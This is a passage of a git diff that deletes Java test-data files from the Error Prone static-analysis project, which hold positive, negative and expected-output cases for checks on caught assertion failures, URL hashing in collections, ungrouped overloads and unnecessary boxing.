dummyMethod(); - assertTrue("foobar!", true); - dummyRecover(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void customMoreAsserts() { - try { - dummyMethod(); - CustomMoreAsserts.assertFoobar(); - dummyMethod(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - public static void customMoreAsserts_fail() { - try { - dummyMethod(); - CustomMoreAsserts.fail("param", 0x42); - dummyMethod(); - // BUG: Diagnostic contains: catch (Exception t) - } catch (Throwable t) { - // expected! - } - } - - static final class SomeTest extends TestCase { - public void testInTestCase() { - try { - dummyMethod(); - fail("message"); - // BUG: Diagnostic contains: catch (Exception codeCatch_oldAssertFailWithMessage) - } catch (Throwable codeCatch_oldAssertFailWithMessage) { - // comment - /* another */ - } - } - } - - static final class CustomMoreAsserts { - static void assertFoobar() {} - - static void fail(String param1, int param2) {} - } - - private static void dummyRecover() {} - - private static void dummyMethod() {} - - public static void catchesAssertionError() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: remove this line - } catch (AssertionError e) { - } - } - - public static void hasMessage() { - try { - dummyMethod(); - Assert.fail("foo"); - // BUG: Diagnostic contains: remove this line - } catch (AssertionError e) { - } - } - - public static void catchesError_lastStatement() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: remove this line - } catch (Error e) { - } - } - - public static void catchesError_notLastStatement() { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: boolean threw = false; - } catch (Error e) { - } - - assertTrue(true); - } - - public static void catchesError_nested() { - for (Object o : Arrays.asList()) { - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: boolean threw = false; - } catch (Error e) { - } - } - } - - public static void catchesError_nestedNoBlock() { - for (Object o : Arrays.asList()) - try { - dummyMethod(); - Assert.fail(); - // BUG: Diagnostic contains: boolean threw = false; - } catch (Error e) { - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java deleted file mode 100644 index c80f7454c75..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodeNegativeCases.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.net.URL; -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashMap; -import java.util.HashSet; -import java.util.List; -import java.util.Set; - -/** - * Negative test cases for URLEqualsHashCode check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class URLEqualsHashCodeNegativeCases { - - private static class Url { - private Url() { - // no impl - } - } - - // Set and HashSet of non-URL class. - public void setOfUrl() { - Set urlSet; - } - - public void hashsetOfUrl() { - HashSet urlSet; - } - - // Collection(s) of type URL - public void collectionOfURL() { - Collection urlSet; - } - - public void listOfURL() { - List urlSet; - } - - public void arraylistOfURL() { - ArrayList urlSet; - } - - public void hashmapWithURLAsValue() { - HashMap stringToUrlMap; - } - - private static class ExtendedMap extends HashMap { - // no impl. - } - - public void hashMapExtendedClass() { - ExtendedMap urlMap; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java deleted file mode 100644 index 6785f8c5da1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/URLEqualsHashCodePositiveCases.java +++ /dev/null @@ -1,112 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.BiMap; -import com.google.common.collect.HashBiMap; -import com.google.common.collect.ImmutableSet; -import java.net.URL; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Map; -import java.util.Set; - -/** - * Positive test cases for URLEqualsHashCode check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class URLEqualsHashCodePositiveCases { - - public void setOfURL() { - // BUG: Diagnostic contains: java.net.URL - Set urlSet = new HashSet(); - } - - public void setOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - Set urlSet = new HashSet(); - } - - public void hashmapOfURL() { - // BUG: Diagnostic contains: java.net.URL - HashMap urlMap = new HashMap(); - } - - public void hashmapOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - HashMap urlMap = new HashMap(); - } - - public void hashsetOfURL() { - // BUG: Diagnostic contains: java.net.URL - HashSet urlSet = new HashSet(); - } - - public void hashsetOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - HashSet urlSet = new HashSet(); - } - - private static class ExtendedSet extends HashSet { - // no impl. - } - - public void hashSetExtendedClass() { - // BUG: Diagnostic contains: java.net.URL - HashSet extendedSet = new ExtendedSet(); - - // BUG: Diagnostic contains: java.net.URL - Set urlSet = new ExtendedSet(); - } - - private static class ExtendedMap extends HashMap { - // no impl. - } - - public void hashMapExtendedClass() { - // BUG: Diagnostic contains: java.net.URL - HashMap extendedMap = new ExtendedMap(); - - // BUG: Diagnostic contains: java.net.URL - Map urlMap = new ExtendedMap(); - } - - public void hashBiMapOfURL() { - // BUG: Diagnostic contains: java.net.URL - BiMap urlBiMap = HashBiMap.create(); - - // BUG: Diagnostic contains: java.net.URL - BiMap toUrlBiMap = HashBiMap.create(); - } - - public void hashBiMapOfCompleteURL() { - // BUG: Diagnostic contains: java.net.URL - HashBiMap urlBiMap = HashBiMap.create(); - - // BUG: Diagnostic contains: java.net.URL - HashBiMap toUrlBiMap = HashBiMap.create(); - } - - public void immutableSetOfURL() { - // BUG: Diagnostic contains: java.net.URL - ImmutableSet urlSet = ImmutableSet.of(); - - // BUG: Diagnostic contains: java.net.URL - ImmutableSet urlSet2 = ImmutableSet.builder().build(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java deleted file mode 100644 index f836950b4f1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsNegativeCases.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsNegativeCases { - - private int foo; - - public UngroupedOverloadsNegativeCases(int foo) { - this.foo = foo; - } - - public void bar(int x) { - bar(foo, x); - } - - public void bar(int x, String z, int y) { - System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); - } - - public void bar(int x, int y) { - bar(y, FOO, x); - } - - public static class Baz {} - - public static final String FOO = "foo"; - - public void baz(String x) { - baz(x, FOO); - } - - public void baz(String x, String y) { - bar(foo, x + y, foo); - } - - public int foo() { - return this.foo; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java deleted file mode 100644 index d1f4b034b38..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCovering.java +++ /dev/null @@ -1,61 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesCovering { - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo(int x) { - System.out.println(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar() { - foo(); - } - - public void baz() { - bar(); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x) { - foo(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - private void quux() { - norf(); - } - - private void norf() { - quux(); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public void quux(int x) { - bar(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo() { - foo(42); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java deleted file mode 100644 index 620de842ec0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesCoveringOnlyOnFirst { - - // BUG: Diagnostic contains: Constructors and methods with the same name should appear - public void foo(int x) { - System.out.println(x); - } - - public void bar() { - foo(); - } - - public void baz() { - bar(); - } - - public void bar(int x) { - foo(x); - } - - private void quux() { - norf(); - } - - private void norf() { - quux(); - } - - public void quux(int x) { - bar(x); - } - - public void foo() { - foo(42); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java deleted file mode 100644 index efccc437652..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesInterleaved.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesInterleaved { - - private int foo; - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, String z, int y) { - System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); - } - - public UngroupedOverloadsPositiveCasesInterleaved(int foo) { - this.foo = foo; - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x) { - bar(foo, x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'baz' - public void baz(String x) { - baz(x, FOO); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, int y) { - bar(y, FOO, x); - } - - public static final String FOO = "foo"; - - // BUG: Diagnostic contains: ungrouped overloads of 'baz' - public void baz(String x, String y) { - bar(foo, x + y, foo); - } - - public void foo(int x) {} - - public void foo() { - foo(foo); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java deleted file mode 100644 index 58f8e05e2e4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesMultiple.java +++ /dev/null @@ -1,93 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesMultiple { - - private int foo; - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, String z, int y) { - System.out.println(String.format("z: %s, x: %d, y: %d", z, x, y)); - } - - private UngroupedOverloadsPositiveCasesMultiple(int foo) { - this.foo = foo; - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x) { - bar(foo, x); - } - - public void baz(String x) { - bar(42, x, 42); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, int y) { - bar(y, FOO, x); - } - - public static final String FOO = "foo"; - - // BUG: Diagnostic contains: ungrouped overloads of 'bar' - public void bar(int x, int y, int z) { - bar(x, String.valueOf(y), z); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public int quux() { - return quux(quux); - } - - public int quux = 42; - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public int quux(int x) { - return x + quux; - } - - private static class Quux {} - - // BUG: Diagnostic contains: ungrouped overloads of 'quux' - public int quux(int x, int y) { - return quux(x + y); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'norf' - public int norf(int x) { - return quux(x, x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'norf' - public int norf(int x, int y) { - return norf(x + y); - } - - public void foo() { - System.out.println("foo"); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'norf' - public void norf(int x, int y, int w) { - norf(x + w, y + w); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java deleted file mode 100644 index 0a0c98b9266..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsPositiveCasesSingle.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -public class UngroupedOverloadsPositiveCasesSingle { - - public void quux() { - foo(); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo() { - foo(42); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo(int x) { - foo(x, x); - } - - public void bar() { - bar(42); - } - - public void bar(int x) { - foo(x); - } - - // BUG: Diagnostic contains: ungrouped overloads of 'foo' - public void foo(int x, int y) { - System.out.println(x + y); - } - - public void norf() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java deleted file mode 100644 index 29c2d1507d3..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringComments { - - private void bar() {} - - public static final String FOO = "foo"; // This is super-important comment for `foo`. - - // Something about `bar`. - /** Does something. */ - public void bar(int x) {} - - // Something about this `bar`. - public void bar(int x, int y) {} - - // Something about `baz`. - public static final String BAZ = "baz"; // Stuff about `baz` continues. - - // More stuff about `bar`. - public void bar(int x, int y, int z) { - // Some internal comments too. - } - - public void quux() {} - - public void bar(String s) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java deleted file mode 100644 index 98f56b691aa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringComments_expected.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringComments { - - private void bar() {} - - // Something about `bar`. - /** Does something. */ - public void bar(int x) {} - - // Something about this `bar`. - public void bar(int x, int y) {} - - // More stuff about `bar`. - public void bar(int x, int y, int z) { - // Some internal comments too. - } - - public void bar(String s) {} - - public static final String FOO = "foo"; // This is super-important comment for `foo`. - - // Something about `baz`. - public static final String BAZ = "baz"; // Stuff about `baz` continues. - - public void quux() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java deleted file mode 100644 index 5191d7bcff5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringInterleaved { - - public void foo() {} - - public void baz() {} - - public void bar() {} - - public void foo(int x) {} - - public void baz(int x) {} - - public void foo(int x, int y) {} - - public void quux() {} - - public void baz(int x, int y) {} - - public void quux(int x) {} - - public void bar(int x) {} - - public void quux(int x, int y) {} - - public void foo(int x, int y, int z) {} - - public void bar(int x, int y) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java deleted file mode 100644 index a2847f6100b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringInterleaved_expected.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringInterleaved { - - public void foo() {} - - public void foo(int x) {} - - public void foo(int x, int y) {} - - public void foo(int x, int y, int z) {} - - public void baz() {} - - public void baz(int x) {} - - public void baz(int x, int y) {} - - public void bar() {} - - public void bar(int x) {} - - public void bar(int x, int y) {} - - public void quux() {} - - public void quux(int x) {} - - public void quux(int x, int y) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java deleted file mode 100644 index 6c86e7ba094..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringMultiple { - - public void foo() {} - - public void foo(int x) {} - - private static class foo {} - - public void foo(int x, int y) {} - - public void bar() {} - - public static final String BAZ = "baz"; - - public void foo(int x, int y, int z) {} - - public void quux() {} - - public void quux(int x) {} - - public static final int X = 0; - public static final int Y = 1; - - public void quux(int x, int y) {} - - private int quux; - - public void norf() {} - - public void quux(int x, int y, int z) {} - - public void thud() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java deleted file mode 100644 index bfe0c78341f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringMultiple { - - public void foo() {} - - public void foo(int x) {} - - public void foo(int x, int y) {} - - public void foo(int x, int y, int z) {} - - private static class foo {} - - public void bar() {} - - public static final String BAZ = "baz"; - - public void quux() {} - - public void quux(int x) {} - - public void quux(int x, int y) {} - - public void quux(int x, int y, int z) {} - - public static final int X = 0; - public static final int Y = 1; - - private int quux; - - public void norf() {} - - public void thud() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java deleted file mode 100644 index 501a303e143..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.function.Function; - -/** - * @author awturner@google.com (Andy Turner) - */ -class UnnecessaryBoxedAssignmentCases { - void negative_void() { - return; - } - - boolean positive_booleanPrimitive(boolean aBoolean) { - return Boolean.valueOf(aBoolean); - } - - Boolean positive_booleanWrapped(boolean aBoolean) { - Boolean b = Boolean.valueOf(aBoolean); - return Boolean.valueOf(aBoolean); - } - - Boolean negative_booleanString(String aString) { - Boolean b = Boolean.valueOf(aString); - return Boolean.valueOf(aString); - } - - byte positive_bytePrimitive(byte aByte) { - return Byte.valueOf(aByte); - } - - Byte positive_byteWrapped(byte aByte) { - Byte b = Byte.valueOf(aByte); - return Byte.valueOf(aByte); - } - - Byte negative_byteString(String aString) { - Byte b = Byte.valueOf(aString); - return Byte.valueOf(aString); - } - - int positive_integerPrimitive(int aInteger) { - return Integer.valueOf(aInteger); - } - - Integer positive_integerWrapped(int aInteger) { - Integer i = Integer.valueOf(aInteger); - return Integer.valueOf(aInteger); - } - - Integer negative_integerString(String aString) { - Integer i = Integer.valueOf(aString); - return Integer.valueOf(aString); - } - - Long negative_integerWrapped(int aInteger) { - Long aLong = Long.valueOf(aInteger); - return Long.valueOf(aInteger); - } - - Integer positive_wrappedAgain(int aInteger) { - Integer a = Integer.valueOf(aInteger); - a = Integer.valueOf(aInteger); - return Integer.valueOf(a); - } - - void negative_methodReference() { - Function toBoolean = Boolean::valueOf; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java deleted file mode 100644 index fc3fd40fd30..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.function.Function; - -/** - * @author awturner@google.com (Andy Turner) - */ -class UnnecessaryBoxedAssignmentCases { - void negative_void() { - return; - } - - boolean positive_booleanPrimitive(boolean aBoolean) { - return aBoolean; - } - - Boolean positive_booleanWrapped(boolean aBoolean) { - Boolean b = aBoolean; - return aBoolean; - } - - Boolean negative_booleanString(String aString) { - Boolean b = Boolean.valueOf(aString); - return Boolean.valueOf(aString); - } - - byte positive_bytePrimitive(byte aByte) { - return aByte; - } - - Byte positive_byteWrapped(byte aByte) { - Byte b = aByte; - return aByte; - } - - Byte negative_byteString(String aString) { - Byte b = Byte.valueOf(aString); - return Byte.valueOf(aString); - } - - int positive_integerPrimitive(int aInteger) { - return aInteger; - } - - Integer positive_integerWrapped(int aInteger) { - Integer i = aInteger; - return aInteger; - } - - Integer negative_integerString(String aString) { - Integer i = Integer.valueOf(aString); - return Integer.valueOf(aString); - } - - Long negative_integerWrapped(int aInteger) { - Long aLong = Long.valueOf(aInteger); - return Long.valueOf(aInteger); - } - - Integer positive_wrappedAgain(int aInteger) { - Integer a = aInteger; - a = aInteger; - return a; - } - - void negative_methodReference() { - Function toBoolean = Boolean::valueOf; - } -} diff --git 